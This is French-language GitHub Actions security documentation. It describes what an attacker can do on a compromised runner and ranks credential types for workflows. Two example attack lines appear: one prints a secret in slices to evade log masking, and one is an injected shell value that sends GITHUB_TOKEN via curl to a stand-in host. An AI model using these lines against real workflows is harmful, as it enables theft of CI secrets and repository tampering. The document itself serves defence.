Exécuteurs compromis

Impact potentiel d'un exécuteur compromis

Ces sections envisagent certaines des étapes qu'un attaquant peut suivre s'il est en mesure d'exécuter des commandes malveillantes sur un exécuteur GitHub Actions.

Accès aux secrets

Les workflows déclenchés depuis un dépôt dupliqué à l'aide de l'événement pull_request disposent d'autorisations en lecture seule et n'ont pas accès aux secrets. Toutefois, ces autorisations diffèrent pour divers déclencheurs d'événements comme issue_comment, issues, push et pull_request provenant d'une branche au sein du dépôt, où un attaquant pourrait tenter de voler des secrets de dépôt ou d'utiliser l'autorisation d'accès en écriture du GITHUB_TOKEN du travail.

• Si le secret ou le jeton est défini sur une variable d'environnement, il est directement accessible via l'environnement à l'aide de printenv.

• Si le secret est utilisé directement dans une expression, le script shell généré est stocké sur disque et est accessible.

• Pour une action personnalisée, le risque peut varier selon la façon dont un programme utilise le secret qu'il a obtenu à partir de l'argument :

  uses: fakeaction/publish@v3
  with:
      key: ${{ secrets.PUBLISH_KEY }}
  

Bien que GitHub Actions nettoie les secrets de la mémoire qui ne sont pas référencés dans le workflow (ou une action incluse), GITHUB_TOKEN et les secrets référencés peuvent être collectés par un attaquant déterminé.

Exfiltration des données d'un exécuteur

Un attaquant peut exfiltrer les secrets volés ou d'autres données de l'exécuteur. Pour empêcher la divulgation accidentelle de secrets, GitHub Actions retire automatiquement les secrets imprimés dans le journal, mais ce n'est pas une véritable limite de sécurité, car les secrets peuvent être envoyés intentionnellement au journal. Par exemple, les secrets obfusqués peuvent être exfiltrés avec echo ${SOME_SECRET:0:4}; echo ${SOME_SECRET:4:200};. En outre, étant donné que l'attaquant peut exécuter des commandes arbitraires, il peut utiliser des requêtes HTTP pour envoyer des secrets ou d'autres données de dépôt à un serveur externe.

Vol du GITHUB_TOKEN du travail

Il est possible qu'un attaquant vole le GITHUB_TOKEN d'un travail. L'exécuteur GitHub Actions reçoit automatiquement un GITHUB_TOKEN généré avec des autorisations limitées au dépôt qui contient le workflow, et le jeton expire une fois le travail terminé. Une fois expiré, le jeton n'est plus utile à un attaquant. Pour contourner cette limitation, il peut automatiser l'attaque et l'effectuer en fractions de seconde en appelant un serveur contrôlé par l'attaquant avec le jeton, par exemple : a"; set +e; curl http://example.com?token=$GITHUB_TOKEN;#.

Modification du contenu d'un référentiel

Le serveur de l'attaquant peut utiliser l'API GitHub pour modifier le contenu du référentiel, y compris les versions, si les permissions attribuées de GITHUB_TOKEN ne sont pas restreintes.

Accès inter-référentiels

GitHub Actions est intentionnellement limité à un seul dépôt à la fois. GITHUB_TOKEN octroie le même niveau d'accès qu'un utilisateur disposant d'un accès en écriture, car tout utilisateur ayant un accès en écriture peut accéder à ce jeton en créant ou en modifiant un fichier de workflow, et en élevant les autorisations de GITHUB_TOKEN si nécessaire. Les utilisateurs disposent d'autorisations spécifiques pour chaque dépôt. Si vous permettez au GITHUB_TOKEN pour un dépôt d'accorder l'accès à un autre, cela impacte le modèle d'autorisation GitHub s'il n'est pas implémenté avec soin. De même, vous devez agir avec précaution lors de l'ajout de jetons d'authentification GitHub à un workflow, car cela peut également affecter le modèle d'autorisation GitHub en accordant par inadvertance un accès étendu aux collaborateurs.

Si votre organisation appartient à un compte d'entreprise, vous pouvez partager et réutiliser GitHub Actions en les stockant dans des référentiels internes. Pour plus d’informations, consultez « Sharing actions and workflows with your enterprise ».

Vous pouvez effectuer d'autres interactions entre référentiels privilégiés en référençant un jeton d'authentification GitHub ou une clé SSH en tant que secret dans le workflow. Étant donné que de nombreux types de jetons d'authentification ne tiennent pas compte de l'accès précis à des ressources spécifiques, il existe un risque important d'utiliser le type de jeton incorrect, car il peut accorder un accès beaucoup plus large que prévu.

Cette liste décrit les approches recommandées pour accéder aux données de dépôt dans un workflow, dans l'ordre décroissant de préférence :

1. LeGITHUB_TOKEN
   • L'étendue de ce jeton est intentionnellement limitée au dépôt qui a appelé le workflow. Le jeton peut avoir le même niveau d'accès qu'un utilisateur disposant d'un accès en écriture sur le dépôt. Le jeton est créé avant que chaque travail commence et expire lorsque le travail est terminé. Pour plus d’informations, consultez « Use GITHUB_TOKEN for authentication in workflows ».
   • GITHUB_TOKEN doit être utilisé chaque fois que possible.
2. Clé de déploiement de dépôt
   • Les clés de déploiement sont l'un des seuls types d'informations d'identification qui accordent un accès en lecture ou en écriture à un seul dépôt, et peuvent être utilisées pour interagir avec un autre dépôt dans un workflow. Pour plus d’informations, consultez « Gestion des clés de déploiement ».
   • Notez que les clés de déploiement peuvent uniquement cloner et envoyer des données vers le dépôt à l'aide de Git et ne peuvent pas être utilisées pour interagir avec l'API REST ou GraphQL, de sorte qu'elles ne sont peut-être pas appropriées à vos besoins.
3. Jetons GitHub App
   • GitHub Apps peut être installé sur des dépôts sélectionnés, et même disposer d'autorisations précises sur les ressources qu'ils contiennent. Vous pouvez créer une GitHub App interne à votre organisation, l'installer sur les dépôts auxquels vous avez besoin d'accéder au sein de votre workflow et vous authentifier en tant qu'installation au sein de votre workflow pour accéder à ces dépôts. Pour plus d’informations, consultez « Effectuer des requêtes d’API authentifiées avec une application GitHub dans un workflow GitHub Actions ».
4. personal access tokens
   • Vous ne devez jamais utiliser de personal access token (classic). Ces jetons accordent l'accès à tous les dépôts au sein des organisations auxquelles vous avez accès ainsi qu'à tous les dépôts personnels de votre compte personnel. Cela accorde indirectement un accès étendu à tous les utilisateurs avec un accès en écriture du dépôt dans lequel se trouve le workflow.
   • Si vous utilisez un personal access token, vous ne devez jamais utiliser un personal access token de votre propre compte. Si vous quittez une organisation, les workflows utilisant ce jeton s'interrompent immédiatement et le débogage de ce problème peut être difficile. Au lieu de cela, vous devez utiliser un fine-grained personal access token d’un nouveau compte qui appartient à votre organisation et qui n’a accès qu’à des dépôts spécifiques qui sont nécessaires au workflow. Notez que cette approche n'est pas scalable et doit être évitée en faveur d'alternatives, telles que les clés de déploiement.
5. Clés SSH sur un compte personnel
   • Les workflows ne doivent jamais utiliser les clés SSH sur un compte personnel. Comme pour les personal access tokens (classic), elles accordent des autorisations en lecture/écriture à tous vos dépôts personnels ainsi qu'à tous les dépôts auxquels vous avez accès via l'appartenance à l'organisation. Cela accorde indirectement un accès étendu à tous les utilisateurs avec un accès en écriture du dépôt dans lequel se trouve le workflow. Si vous envisagez d'utiliser une clé SSH parce que vous devez uniquement effectuer des clones ou des envois de dépôts, et non interagir avec des API publiques, vous devez utiliser des clés de déploiement individuelles à la place.

Étapes suivantes

Pour connaître les meilleures pratiques en matière de sécurité avec GitHub Actions, consultez Secure use reference.